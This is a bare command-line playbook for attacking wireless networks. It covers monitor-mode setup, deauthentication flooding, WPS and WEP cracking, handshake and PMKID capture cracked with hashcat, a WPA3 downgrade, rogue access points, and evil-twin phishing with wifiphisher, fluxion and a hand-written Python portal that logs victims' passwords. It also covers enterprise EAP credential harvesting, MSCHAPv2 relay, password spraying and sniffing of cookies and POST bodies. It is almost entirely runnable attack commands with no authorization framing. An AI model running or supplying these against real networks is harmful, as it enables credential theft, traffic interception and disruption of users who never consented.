sudo aireplay-ng --test wlan0
# Output should show: Injection is working!

# Core suite
sudo apt update && sudo apt install -y \
  aircrack-ng \
  hashcat \
  hcxtools \
  hcxdumptool \
  wireshark \
  tshark \
  mdk4 \
  hostapd \
  dnsmasq \
  macchanger \
  arp-scan \
  net-tools \
  iw \
  wireless-tools \
  python3-pip \
  libssl-dev \
  pkg-config

# wifiphisher — automated Evil Twin + captive portal phishing
git clone https://github.com/wifiphisher/wifiphisher.git
cd wifiphisher && sudo python3 setup.py install

# fluxion — Evil Twin framework with captive portal
git clone https://github.com/FluxionNetwork/fluxion.git
cd fluxion && sudo bash fluxion.sh --install

# eaphammer — Enterprise Evil Twin (EAP credential harvesting)
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer && sudo bash kali-setup.sh

# hostapd-mana — Rogue AP with PSK capture
sudo apt install -y hostapd-mana

# berate_ap — Advanced Rogue AP for relay attacks
git clone https://github.com/sensepost/berate_ap.git

# wpa_sycophant — MSCHAPv2 relay
git clone https://github.com/sensepost/wpa_sycophant.git

# wacker — WPA3-SAE online brute-force
git clone https://github.com/blunderbuss-wctf/wacker.git
cd wacker && pip3 install -r requirements.txt

# air-hammer — Enterprise brute-force / password spray
git clone https://github.com/Wh1t3Rh1n0/air-hammer.git

# EAP_buster — EAP method enumeration
git clone https://github.com/rek7/EAP_buster.git

# wifi_db — capture aggregation and analysis
git clone https://github.com/r4ulcl/wifi_db.git
pip3 install -r wifi_db/requirements.txt

# List wireless interfaces
iw dev

# Check capabilities (monitor mode, injection)
iw phy phy0 info | grep -E "monitor|* 2484"

# Identify chipset via USB
lsusb

# Kernel messages about the adapter
dmesg | grep -iE "wlan|802.11|wireless" | tail -20

# Driver information
ethtool -i wlan0 2>/dev/null | grep driver

# Kill processes that hold the wireless interface
sudo airmon-ng check kill

# Create monitor interface
sudo airmon-ng start wlan0
# New interface: wlan0mon

# Verify
iwconfig wlan0mon
# Should show: Mode:Monitor

sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
iwconfig wlan0

sudo iwconfig wlan0mon channel 6
# or
sudo iw dev wlan0mon set channel 6 HT20

sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager

sudo systemctl stop NetworkManager
sudo ip link set wlan1 down

# Show current MAC
macchanger --show wlan1

# Random vendor-compliant MAC
sudo macchanger -r wlan1

# Set specific MAC (e.g., impersonate a client)
sudo macchanger -m AA:BB:CC:DD:EE:FF wlan1

# Restore permanent hardware MAC
sudo macchanger -p wlan1

sudo ip link set wlan1 up

mkdir -p ~/wifi/{captures,hashes,certs,logs,configs,wordlists}
cd ~/wifi

# Full multi-band scan (save captures for later analysis)
sudo airodump-ng wlan0mon \
  -w ~/wifi/captures/scan \
  --output-format pcap,csv \
  --manufacturer \
  --wps \
  --band abg

# Focus on a specific channel (more data on that channel)
sudo airodump-ng wlan0mon \
  -c 6 \
  --bssid <TARGET_BSSID> \
  -w ~/wifi/captures/target_ch6 \
  --manufacturer --wps

# 5 GHz only
sudo airodump-ng wlan0mon \
  -w ~/wifi/captures/scan5 \
  --manufacturer --wps \
  --band a

# Keep airodump-ng running; when a client connects, the Probe Response reveals the SSID
sudo airodump-ng wlan0mon --band abg -w ~/wifi/captures/passive

# Kick a client off the AP; its Probe Request during reconnect reveals the SSID
sudo aireplay-ng -0 5 -a <AP_BSSID> -c <CLIENT_MAC> wlan0mon

# Build a targeted wordlist
cat /usr/share/wordlists/rockyou.txt | awk '{print "corp-" $1}' \
  > ~/wifi/wordlists/prefixed.txt

# Fix the monitor interface on the target channel first
sudo iwconfig wlan0mon channel 11

# Probe each SSID until the AP responds
sudo mdk4 wlan0mon p \
  -t <AP_BSSID> \
  -f ~/wifi/wordlists/prefixed.txt

# Identify WPS-enabled APs
sudo wash -i wlan0mon --scan

# WPS PIN brute-force (slow, rate-limited by most modern APs)
sudo reaver -i wlan0mon -b <BSSID> -vv -N

# Pixie Dust attack (offline; works on specific chipsets: Ralink, Realtek, Broadcom older FW)
sudo reaver -i wlan0mon -b <BSSID> -vv -K 1

# Bully as an alternative
sudo bully wlan0mon -b <BSSID> -d -v 3

cd ~/tools/wifi_db

# Import all captures into a SQLite database
python3 wifi_db.py -d ~/wifi/analysis.sqlite ~/wifi/captures/

# GUI browser
sqlitebrowser ~/wifi/analysis.sqlite

# Useful queries via CLI
sqlite3 ~/wifi/analysis.sqlite \
  "SELECT ESSID, BSSID, Channel, Security, Cipher FROM APs ORDER BY Power DESC;"

sqlite3 ~/wifi/analysis.sqlite \
  "SELECT Station, BSSID, Probe FROM Clients WHERE Probe != '' ORDER BY Probe;"

# Extract RSN info from all beacons in a capture
tshark -r ~/wifi/captures/scan-01.cap \
  -Y "wlan.fc.type_subtype == 8" \
  -T fields \
  -e wlan.ssid \
  -e wlan.rsn.pcs.list \
  -e wlan.rsn.akms.list \
  -e wlan.rsn.capabilities \
  2>/dev/null | sort -u

# Check MFP status for a specific BSSID
tshark -r ~/wifi/captures/scan-01.cap \
  -Y "wlan.bssid == <BSSID> && wlan.fc.type_subtype == 8" \
  -T fields \
  -e wlan.ssid \
  -e wlan.rsn.capabilities.mfpr \
  -e wlan.rsn.capabilities.mfpc \
  2>/dev/null
# mfpr=1 means deauth attacks are BLOCKED (802.11w mandatory)

# If an AP supports both PSK (AKM 2) and SAE (AKM 8), it's in transition mode
# → downgrade to WPA2 is possible
tshark -r ~/wifi/captures/scan-01.cap \
  -Y "wlan.bssid == <BSSID> && wlan.fc.type_subtype == 8" \
  -T fields -e wlan.rsn.akms.list 2>/dev/null

# Compute PMK from passphrase+SSID
wpa_passphrase "SSID_NAME" "passphrase" | grep psk
# Copy the hex value as wpa-psk in Wireshark

# Decrypt inline using passphrase
tshark -r ~/wifi/captures/target-01.cap \
  -o "wlan.enable_decryption:TRUE" \
  -o "uat:80211_keys:\"wpa-pwd\",\"passphrase:SSID\"" \
  -Y "http || dns || ftp" \
  -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e dns.qry.name \
  2>/dev/null

# Decrypt with raw PMK
tshark -r ~/wifi/captures/target-01.cap \
  -o "wlan.enable_decryption:TRUE" \
  -o "uat:80211_keys:\"wpa-psk\",\"PMK_HEX_STRING\"" \
  -Y "http" 2>/dev/null

# Generates a new *-dec.cap file with decrypted frames
airdecap-ng \
  -e "SSID_NAME" \
  -p "passphrase" \
  ~/wifi/captures/target-01.cap

# For WEP
airdecap-ng -w <WEP_KEY_HEX> ~/wifi/captures/wep-01.cap

# Open the decrypted capture
wireshark ~/wifi/captures/target-01-dec.cap

# Count EAPOL frames per BSSID (each complete handshake = 4 frames)
tshark -r ~/wifi/captures/target-01.cap \
  -Y "eapol" \
  -T fields -e wlan.bssid -e eapol.keydes.type \
  2>/dev/null | sort | uniq -c

# Validate handshake quality with aircrack-ng
aircrack-ng ~/wifi/captures/target-01.cap
# Look for: "1 handshake" in the AP list
# "No valid WPA handshakes found" = capture is incomplete

# Check if PMKID is present in the capture
hcxpcapngtool ~/wifi/captures/target-01.cap -o /dev/null --info=stdout 2>/dev/null | \
  grep -E "PMKID|EAPOL"

# Extract all TLS certificate fields from a capture (via tshark)
tshark -r ~/wifi/captures/mgt-01.cap \
  -Y "tls.handshake.type == 11" \
  -T fields \
  -e x509sat.uTF8String \
  -e x509sat.IA5String \
  -e x509ce.dNSName \
  2>/dev/null | sort -u

# Wireshark filter for certificate exchange
# (wlan.sa == <AP_BSSID>) && (tls.handshake.certificate)

# Extract Subject/Issuer fields
tshark -r ~/wifi/captures/mgt-01.cap \
  -Y "wlan.bssid == <BSSID> && x509sat.IA5String" \
  -T fields -e x509sat.IA5String 2>/dev/null

# Count deauth frames by source (high count = active attack in progress)
tshark -r ~/wifi/captures/scan-01.cap \
  -Y "wlan.fc.type_subtype == 12 || wlan.fc.type_subtype == 10" \
  -T fields -e wlan.sa -e wlan.da -e wlan.fc.type_subtype \
  2>/dev/null | sort | uniq -c | sort -rn | head -20

# Filter for broadcast deauth (affects all clients)
tshark -r ~/wifi/captures/scan-01.cap \
  -Y "wlan.fc.type_subtype == 12 && wlan.da == ff:ff:ff:ff:ff:ff" \
  2>/dev/null

cat > ~/wifi/configs/open.conf << 'EOF'
network={
    ssid="TARGET_SSID"
    key_mgmt=NONE
}
EOF

sudo wpa_supplicant -Dnl80211 -iwlan2 -c ~/wifi/configs/open.conf -B
sudo dhclient wlan2 -v

cat > ~/wifi/configs/open_hidden.conf << 'EOF'
network={
    ssid="HIDDEN_SSID"
    key_mgmt=NONE
    scan_ssid=1
}
EOF
sudo wpa_supplicant -Dnl80211 -iwlan2 -c ~/wifi/configs/open_hidden.conf -B
sudo dhclient wlan2 -v

# Step 1: Identify an authorized client from the capture
sudo airodump-ng wlan0mon -c <CHANNEL> -w ~/wifi/captures/portal_recon
# Look in the STATION section for clients with #Data > 0

# Step 2: Stop NetworkManager, spoof the authorized MAC
sudo systemctl stop NetworkManager
sudo ip link set wlan2 down
sudo macchanger -m <AUTHORIZED_CLIENT_MAC> wlan2
sudo ip link set wlan2 up

# Step 3: Connect with the spoofed MAC
sudo wpa_supplicant -Dnl80211 -iwlan2 -c ~/wifi/configs/open.conf -B
sudo dhclient -v wlan2
# The captive portal now treats you as already-authorized

# Capture all traffic on the open network channel
sudo airodump-ng wlan0mon -c <CHANNEL> -w ~/wifi/captures/opn_sniff

# Extract HTTP POST bodies (credentials, tokens)
tshark -r ~/wifi/captures/opn_sniff-01.cap \
  -Y "http.request.method == POST" \
  -T fields \
  -e ip.src -e http.host -e http.request.uri -e http.file_data \
  2>/dev/null

# Extract HTTP cookies
tshark -r ~/wifi/captures/opn_sniff-01.cap \
  -Y "http.cookie" \
  -T fields -e ip.src -e http.host -e http.cookie \
  2>/dev/null

# DNS queries (reveals what clients are browsing)
tshark -r ~/wifi/captures/opn_sniff-01.cap \
  -Y "dns.flags.response == 0" \
  -T fields -e ip.src -e dns.qry.name \
  2>/dev/null | sort -u

# An OWE AP in transition mode broadcasts two BSSIDs:
# 1. OPN SSID  (e.g., "CafeWifi")      ← unauthenticated, visible to all clients
# 2. OWE SSID  (hidden, linked to OPN)  ← encrypted, auto-negotiated

# Attack: create a stronger OPN AP with the same SSID
# Clients connecting in OPN mode will see your AP instead
# See Section 10 (Evil Twin) for the full rogue AP setup

# Kill interfering processes first
sudo airmon-ng check kill

# besside-ng handles everything: capture, replay, and crack
# -c: channel, -b: target BSSID
sudo besside-ng -c <CHANNEL> -b <AP_BSSID> wlan2 -v

# Results saved to:
#   wep.cap   → capture file
#   wep.log   → discovered keys

sudo airodump-ng \
  -c <CHANNEL> \
  --bssid <AP_BSSID> \
  -w ~/wifi/captures/wep \
  wlan0mon

# Associate to the AP without knowing the key
# -1: fake auth, 3600: re-auth period, -q 10: keepalive, -a: AP BSSID
sudo aireplay-ng -1 3600 -q 10 -a <AP_BSSID> wlan0mon
# Look for: "Association successful"

# Capture a real ARP request and replay it rapidly to generate new IVs
# -b: AP BSSID, -h: our MAC (used in fake auth)
sudo aireplay-ng --arpreplay -b <AP_BSSID> -h <OUR_MAC> wlan0mon

# aircrack-ng attempts statistical key recovery
# Works from ~20,000 IVs, reliable at 50,000+
sudo aircrack-ng ~/wifi/captures/wep-01.cap

cat > ~/wifi/configs/wep.conf << 'EOF'
network={
    ssid="TARGET_SSID"
    key_mgmt=NONE
    wep_key0=AABBCCDDEEFF
    wep_tx_keyidx=0
}
EOF

sudo wpa_supplicant -D nl80211 -i wlan2 -c ~/wifi/configs/wep.conf -B
sudo dhclient wlan2 -v

sudo airodump-ng wlan0mon \
  -c <CHANNEL> \
  --bssid <AP_BSSID> \
  -w ~/wifi/captures/psk_target

# Terminal 1: keep capturing
sudo airodump-ng wlan0mon -c <CHANNEL> --bssid <AP_BSSID> \
  -w ~/wifi/captures/psk_target

# Terminal 2: deauth — client will reconnect and handshake is captured
# -0: deauth, 10: frame count (0=continuous), -a: AP, -c: specific client
sudo aireplay-ng -0 10 -a <AP_BSSID> -c <CLIENT_MAC> wlan0mon

# Deauth all clients (broadcast)
sudo aireplay-ng -0 10 -a <AP_BSSID> wlan0mon

aircrack-ng ~/wifi/captures/psk_target-01.cap
# Line in AP list should show: "1 handshake"

# Method 1: hcxdumptool (most efficient — captures PMKID + handshakes simultaneously)
# hcxdumptool automatically sends association requests to trigger PMKID
sudo hcxdumptool \
  -i wlan0mon \
  --enable_status=3 \
  -o ~/wifi/captures/pmkid.pcapng

# For targeted scan (filterfile contains one BSSID per line in lowercase, no colons)
echo "f09fc2711222" > ~/wifi/target_bssid.txt
sudo hcxdumptool \
  -i wlan0mon \
  --enable_status=3 \
  --filterlist_ap=~/wifi/target_bssid.txt \
  --filtermode=2 \
  -o ~/wifi/captures/pmkid.pcapng

# Convert to hashcat mode 22000 (current standard — replaces deprecated 16800)
hcxpcapngtool \
  ~/wifi/captures/pmkid.pcapng \
  -o ~/wifi/hashes/hash.hc22000

# Verify: a valid hash has 4 colon-separated fields
head -3 ~/wifi/hashes/hash.hc22000
# Format: PMKID_or_MIC*AP_MAC*CLIENT_MAC*SSID_HEX

# If you have an old .hccapx from hostapd-mana or older tools
# Step 1: hccapx → pcap
hcxhash2cap --hccapx=captured.hccapx -c ~/wifi/hashes/legacy.pcap

# Step 2: pcap → mode 22000
hcxpcapngtool ~/wifi/hashes/legacy.pcap -o ~/wifi/hashes/legacy.hc22000

# ── Dictionary attack ──────────────────────────────────────────────
hashcat -a 0 -m 22000 ~/wifi/hashes/hash.hc22000 \
  /usr/share/wordlists/rockyou.txt

# ── Dictionary + rules (best64 covers common transformations) ──────
hashcat -a 0 -m 22000 ~/wifi/hashes/hash.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# ── Combinator (two wordlists joined) ─────────────────────────────
hashcat -a 1 -m 22000 ~/wifi/hashes/hash.hc22000 \
  wordlist1.txt wordlist2.txt

# ── Hybrid: wordlist + mask suffix (e.g. word + 4 digits) ─────────
hashcat -a 6 -m 22000 ~/wifi/hashes/hash.hc22000 \
  /usr/share/wordlists/rockyou.txt "?d?d?d?d"

# ── Pure brute-force (8-char, lower + digits) ─────────────────────
hashcat -a 3 -m 22000 ~/wifi/hashes/hash.hc22000 \
  -1 ?l?d "?1?1?1?1?1?1?1?1"

# ── Benchmark your GPU speed ──────────────────────────────────────
hashcat -b -m 22000

cat > ~/wifi/configs/rogue_psk.conf << 'EOF'
interface=wlan1
driver=nl80211
hw_mode=g
channel=6
ssid=TARGET_HIDDEN_SSID
mana_wpaout=/root/wifi/hashes/mana_captured.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=00000000
EOF

sudo hostapd-mana ~/wifi/configs/rogue_psk.conf
# Wait for: AP-STA-POSSIBLE-PSK-MISMATCH → client connected, hash captured → CTRL+C

# Convert and crack
hcxhash2cap --hccapx=~/wifi/hashes/mana_captured.hccapx \
  -c ~/wifi/hashes/mana.pcap
hcxpcapngtool ~/wifi/hashes/mana.pcap -o ~/wifi/hashes/mana.hc22000
hashcat -a 0 -m 22000 ~/wifi/hashes/mana.hc22000 /usr/share/wordlists/rockyou.txt

# Decrypt entire capture once password is known
airdecap-ng \
  -e "TARGET_SSID" \
  -p "recovered_password" \
  ~/wifi/captures/psk_target-01.cap
# Output: psk_target-01-dec.cap

# Analyze decrypted traffic
wireshark ~/wifi/captures/psk_target-01-dec.cap

# Extract HTTP hosts visited
tshark -r ~/wifi/captures/psk_target-01-dec.cap \
  -Y "http.host" \
  -T fields -e ip.src -e http.host -e http.request.uri 2>/dev/null

cat > ~/wifi/configs/psk.conf << 'EOF'
network={
    ssid="TARGET_SSID"
    psk="recovered_password"
    key_mgmt=WPA-PSK
    proto=WPA2
    scan_ssid=1
}
EOF

sudo wpa_supplicant -Dnl80211 -iwlan3 -c ~/wifi/configs/psk.conf -B
sudo dhclient wlan3 -v

# 2.4 GHz channel → frequency mapping
# Ch 1=2412, Ch 6=2437, Ch 11=2462

cd ~/tools/wacker

./wacker.py \
  --wordlist /usr/share/wordlists/rockyou.txt \
  --ssid "TARGET_WPA3_SSID" \
  --bssid <AP_BSSID> \
  --interface wlan2 \
  --freq 2462

# Expected rate: ~1-3 attempts/second (limited by SAE commit-confirm round trips)
# Only practical for common/short passwords

# Step 1: Confirm transition mode (airodump-ng or cipher analysis in Section 5)
# Look for "PSK SAE" in the ENC/AUTH columns, or AKM suite listing both 00-0f-ac-2 and 00-0f-ac-8

# Step 2: Check if 802.11w is mandatory
# If MFP Required = 1 → deauth attacks will fail → downgrade harder to execute
tshark -r ~/wifi/captures/scan-01.cap \
  -Y "wlan.bssid == <BSSID> && wlan.fc.type_subtype == 8" \
  -T fields -e wlan.rsn.capabilities.mfpr 2>/dev/null
# 0 = MFP optional → deauth works
# 1 = MFP mandatory → deauth fails (clients ignore unauthenticated deauth)

# Step 3: Create WPA2-only Rogue AP
cat > ~/wifi/configs/downgrade.conf << 'EOF'
interface=wlan1
driver=nl80211
hw_mode=g
channel=11
ssid=TARGET_WPA3_SSID
mana_wpaout=/root/wifi/hashes/downgrade.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=00000000
EOF

sudo hostapd-mana ~/wifi/configs/downgrade.conf

# Step 4: Deauth client if MFP is not mandatory
sudo iwconfig wlan0mon channel 11
sudo aireplay-ng -0 0 -a <REAL_AP_BSSID> -c <CLIENT_MAC> wlan0mon

# Step 5: Crack as WPA2
hcxhash2cap --hccapx=~/wifi/hashes/downgrade.hccapx -c ~/wifi/hashes/dg.pcap
hcxpcapngtool ~/wifi/hashes/dg.pcap -o ~/wifi/hashes/dg.hc22000
hashcat -a 0 -m 22000 ~/wifi/hashes/dg.hc22000 /usr/share/wordlists/rockyou.txt

cat > ~/wifi/configs/karma.conf << 'EOF'
interface=wlan1
driver=nl80211
hw_mode=g
channel=6
ssid=default
# KARMA: respond to every probe request with a matching SSID
mana_loud=1
# Log connected clients
mana_credout=/root/wifi/logs/karma_clients.log
# Open network — clients connect without credentials
wpa=0
EOF

sudo hostapd-mana ~/wifi/configs/karma.conf
sudo dhclient wlan1  # or set up dnsmasq for DHCP

sudo wifiphisher --nojamming -aI wlan1
# Select "Known Beacons" scenario when prompted

# Full attack with automatic AP selection and firmware-upgrade phishing page
sudo wifiphisher

# Specify target and interface manually
sudo wifiphisher \
  -aI wlan1 \
  -jI wlan0 \
  -e "TARGET_SSID" \
  -p firmware-upgrade \
  --handshake-capture ~/wifi/captures/psk_target-01.cap

# Available built-in scenarios:
# firmware-upgrade      → fake firmware update page (requests WPA password)
# oauth-login           → fake social login page
# wifi_connect          → fake "reconnect to wifi" page
# browser-plugin-update → fake browser plugin update
# plugin_update         → generic software update

# Custom phishing page
sudo wifiphisher \
  -aI wlan1 \
  -jI wlan0 \
  -e "TARGET_SSID" \
  -p /path/to/custom/phishing/scenario/

cd ~/tools/fluxion

sudo bash fluxion.sh

# Interactive menu:
# 1. Select attack: "Handshake Snooper" (captures handshake first)
# 2. Select target AP from the scan list
# 3. Capture handshake (waits for or forces reconnection)
# 4. Switch to "Captive Portal" attack
# 5. Select portal template (or use custom)
# 6. fluxion launches:
#    - Rogue AP on wlan1
#    - Deauth jamming from wlan0
#    - DHCP + DNS server pointing all traffic to the portal
#    - Web server serving the phishing page
# 7. When victim enters the correct password:
#    fluxion verifies it against the captured handshake
#    → Only the real password is accepted and displayed

# ─── Step 1: Set up the Rogue AP ──────────────────────────────────────────
cat > ~/wifi/configs/evil_portal_ap.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=TARGET_SSID
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
EOF

sudo hostapd ~/wifi/configs/evil_portal_ap.conf &

# ─── Step 2: Configure IP and DHCP ───────────────────────────────────────
sudo ip addr add 192.168.99.1/24 dev wlan1
sudo ip link set wlan1 up

cat > /tmp/dnsmasq_portal.conf << 'EOF'
interface=wlan1
dhcp-range=192.168.99.10,192.168.99.100,12h
dhcp-option=3,192.168.99.1
dhcp-option=6,192.168.99.1
server=8.8.8.8
log-queries
log-dhcp
# Redirect all DNS to our portal
address=/#/192.168.99.1
EOF

sudo dnsmasq -C /tmp/dnsmasq_portal.conf

# ─── Step 3: NAT / iptables for traffic routing ───────────────────────────
sudo sysctl net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT
# Redirect HTTP to our portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 \
  -j DNAT --to-destination 192.168.99.1:80
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 \
  -j DNAT --to-destination 192.168.99.1:80

# ─── Step 4: Serve the phishing page (Python example) ────────────────────
# Place your portal HTML in /tmp/portal/
mkdir -p /tmp/portal
cat > /tmp/portal/index.html << 'HTMLEOF'
<!DOCTYPE html>
<html>
<head><title>Network Login Required</title></head>
<body>
<h2>Please re-enter your Wi-Fi password to continue</h2>
<form method="POST" action="/capture">
  Password: <input type="password" name="pwd">
  <input type="submit" value="Connect">
</form>
</body>
</html>
HTMLEOF

# Simple capture server with Python
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs, urlparse
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        with open('/tmp/portal/index.html','rb') as f:
            self.wfile.write(f.read())
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = parse_qs(self.rfile.read(length).decode())
        pwd = data.get('pwd', [''])[0]
        print(f'[+] CAPTURED PASSWORD: {pwd}')
        open('/root/wifi/logs/portal_creds.txt','a').write(pwd+'\n')
        self.send_response(302)
        self.send_header('Location','http://google.com')
        self.end_headers()
    def log_message(self, *a): pass
HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
" &

# ─── Step 5: Deauth clients from the legitimate AP ────────────────────────
sudo iwconfig wlan0mon channel 6
sudo aireplay-ng -0 0 -a <REAL_AP_BSSID> wlan0mon

cd ~/tools/eaphammer

# Captive portal phishing (for clients probing open networks)
sudo killall dnsmasq 2>/dev/null
python3 ./eaphammer \
  --essid "Airport_WiFi" \
  --interface wlan4 \
  --captive-portal

# In parallel: deauth from the client's real AP
sudo iwconfig wlan0mon channel <CHANNEL>
sudo aireplay-ng -0 0 wlan0mon \
  -a <REAL_AP_BSSID> \
  -c <TARGET_CLIENT_MAC>

# Hostile portal (forces NTLM auth from Windows/macOS clients automatically)
python3 ./eaphammer \
  --essid "Coffee_Shop_WiFi" \
  --interface wlan2 \
  --hostile-portal

# Extract NTLMv2 hashes from Responder logs
cat ~/tools/eaphammer/logs/Responder-Session.log | \
  grep "NTLMv2" | awk '{print $NF}' > ~/wifi/hashes/ntlm.hc5600

hashcat -a 0 -m 5600 ~/wifi/hashes/ntlm.hc5600 \
  /usr/share/wordlists/rockyou.txt

# Capture on the enterprise AP channel
sudo airodump-ng wlan0mon -c <CHANNEL> --wps \
  -w ~/wifi/captures/ent_recon

# Method 1: tshark real-time extraction
tshark -r ~/wifi/captures/ent_recon-01.cap \
  -Y "(eap && wlan.ra == <AP_BSSID>) && (eap.identity)" \
  -T fields \
  -e wlan.sa \
  -e eap.identity \
  2>/dev/null

# Method 2: Wireshark filter
# eap && eap.code == 2
# Then look for Type: Identity packets

# Method 3: wifi_db
python3 ~/tools/wifi_db/wifi_db.py \
  -d ~/wifi/enterprise.sqlite ~/wifi/captures/
sqlite3 ~/wifi/enterprise.sqlite \
  "SELECT DISTINCT Identity, Station FROM Identities;"

# Full certificate details
tshark -r ~/wifi/captures/ent_recon-01.cap \
  -Y "wlan.bssid == <AP_BSSID> && ssl.handshake.type == 11" \
  -V 2>/dev/null | \
  grep -E -A1 "rdnSequence|commonName|organizationName|emailAddress|dNSName|serialNumber"

# Concise: only string fields (CN, O, email, SAN)
tshark -r ~/wifi/captures/ent_recon-01.cap \
  -Y "wlan.bssid == <AP_BSSID> && x509sat.IA5String" \
  -T fields -e x509sat.IA5String 2>/dev/null | sort -u

# Wireshark filter
# (wlan.sa == <AP_BSSID>) && (tls.handshake.certificate)

cd ~/tools/EAP_buster

# Enumerate every EAP type supported by the AP
# This tells you: does the AP support EAP-TLS only? PEAP? EAP-TTLS? LEAP?
bash ./EAP_buster.sh "ENTERPRISE_SSID" "DOMAIN\username" wlan1

# Example output:
# [+] Checking EAP-MD5        ... REJECTED
# [+] Checking EAP-GTC        ... REJECTED
# [+] Checking LEAP           ... REJECTED
# [+] Checking EAP-TLS        ... ACCEPTED ← requires client certificate
# [+] Checking PEAP           ... ACCEPTED ← MSCHAPv2 inside TLS tunnel
# [+] Checking EAP-TTLS       ... ACCEPTED
# [+] Checking EAP-TTLS/PAP   ... ACCEPTED ← cleartext password inside tunnel!

# Step 1: Create a certificate matching the real server's fields (from recon)
cd ~/tools/eaphammer
python3 ./eaphammer --cert-wizard
# Enter: country, state, city, organization, CN  ← use exact values from real cert

# Step 2: Launch the Rogue AP
python3 ./eaphammer \
  -i wlan3 \
  --auth wpa-eap \
  --essid "ENTERPRISE_SSID" \
  --creds \
  --negotiate balanced
# --negotiate balanced: try multiple EAP methods in order

# Step 3: Deauth target client(s) from the real AP(s)
# If there are two APs on the same SSID, deauth from both simultaneously
sudo iwconfig wlan0mon channel <CHANNEL>
sudo aireplay-ng -0 0 -a <REAL_AP_1_BSSID> -c <CLIENT_MAC> wlan0mon

# Second interface for the second AP (if needed)
sudo airmon-ng start wlan1
sudo iwconfig wlan1mon channel <CHANNEL>
sudo aireplay-ng -0 0 -a <REAL_AP_2_BSSID> -c <CLIENT_MAC> wlan1mon

# Step 4: Wait for connection
# eaphammer output:
# [*] Sending EAP-TLS Start...
# [!] Alert: unknown ca    ← client verifies certs, NOT vulnerable to this method
# [*] Captured credentials for DOMAIN\user: hash...

# Step 5: Crack MSCHAPv2 hash
grep -i "hashcat" ~/tools/eaphammer/logs/hostapd-eaphammer.log | \
  awk '{print $3}' > ~/wifi/hashes/mschapv2.hc5500

hashcat -a 0 -m 5500 ~/wifi/hashes/mschapv2.hc5500 \
  /usr/share/wordlists/rockyou.txt

cd ~/tools/air-hammer

# Single user dictionary attack
echo 'CONTOSO\juan.garcia' > ~/wifi/target_user.txt

./air-hammer.py \
  -i wlan3 \
  -e "ENTERPRISE_SSID" \
  -p /usr/share/wordlists/rockyou.txt \
  -u ~/wifi/target_user.txt

# Password spray: known password, multiple users
# Build user list with domain prefix
awk '{print "CONTOSO\\" $1}' \
  /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  > ~/wifi/users_contoso.txt

./air-hammer.py \
  -i wlan4 \
  -e "ENTERPRISE_SSID" \
  -P "Summer2024!" \
  -u ~/wifi/users_contoso.txt

# Step 1: Set a controlled MAC for the Rogue AP
sudo systemctl stop NetworkManager
sudo airmon-ng stop wlan1mon
sudo ip link set wlan1 down
sudo macchanger -m F0:9F:C2:00:AA:01 wlan1
sudo ip link set wlan1 up

# Step 2: Configure wpa_sycophant (acts as the real client toward the real RADIUS)
cat > ~/tools/wpa_sycophant/sycophant.conf << 'EOF'
network={
  ssid="ENTERPRISE_SSID"
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity=""
  anonymous_identity=""
  password=""
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  bssid_blacklist=F0:9F:C2:00:AA:01
}
EOF

# Step 3: Raise the Rogue AP linked to wpa_sycophant (Shell 1)
cd ~/tools/berate_ap
./berate_ap \
  --eap \
  --mana-wpe \
  --wpa-sycophant \
  --mana-credout ~/wifi/logs/relay_creds.log \
  wlan1 lo "ENTERPRISE_SSID"

# Step 4: Deauth a vulnerable client (Shell 2)
sudo airmon-ng start wlan0
sudo iwconfig wlan0mon channel <CHANNEL>
sudo aireplay-ng -0 0 wlan0mon \
  -a <REAL_AP_BSSID> \
  -c <VULNERABLE_CLIENT_MAC>

# Step 5: Start relay (Shell 3)
cd ~/tools/wpa_sycophant
./wpa_sycophant.sh -c sycophant.conf -i wlan3
# When the victim connects to berate_ap, sycophant authenticates to the real RADIUS
# using the victim's identity and relayed challenge-response

# Step 6: Get an IP (Shell 4)
sudo dhclient wlan3 -v

# Troubleshooting: if relay fails, try alternate phase1
# Edit sycophant.conf: phase1="peapver=1"

# Step 1: Retrieve certificates from the internal web server
wget -r -A "*.crt,*.pem,*.key,*.cer" http://192.168.X.1/pki/

# Step 2: Import into eaphammer
cd ~/tools/eaphammer
python3 ./eaphammer --cert-wizard import \
  --server-cert /path/to/server.crt \
  --ca-cert /path/to/ca.crt \
  --private-key /path/to/server.key \
  --private-key-passwd <key_passphrase>

# Step 3: Launch Rogue AP with real certificate
python3 ./eaphammer \
  -i wlan4 \
  --auth wpa-eap \
  --essid "ENTERPRISE_SSID" \
  --creds \
  --negotiate balanced

# Step 4: Deauth target clients from both real APs
sudo aireplay-ng -0 0 -a <REAL_AP_BSSID_1> -c <CLIENT_MAC> wlan0mon
# Clients that previously rejected fake cert will now connect

# Convert to PEM format if needed
openssl x509 -in ca.crt -out ~/wifi/certs/hostapd.ca.pem -outform PEM
openssl x509 -in server.crt -out ~/wifi/certs/hostapd.cert.pem -outform PEM
openssl rsa -in server.key -out ~/wifi/certs/hostapd.key.pem
openssl dhparam -out ~/wifi/certs/hostapd.dh.pem 2048

cd ~/tools/berate_ap
./berate_ap \
  --eap \
  --mana-wpe \
  --wpa-sycophant \
  --mana-credout ~/wifi/logs/real_cert_creds.log \
  wlan4 lo "ENTERPRISE_SSID" \
  --eap-cert-path ~/wifi/certs/

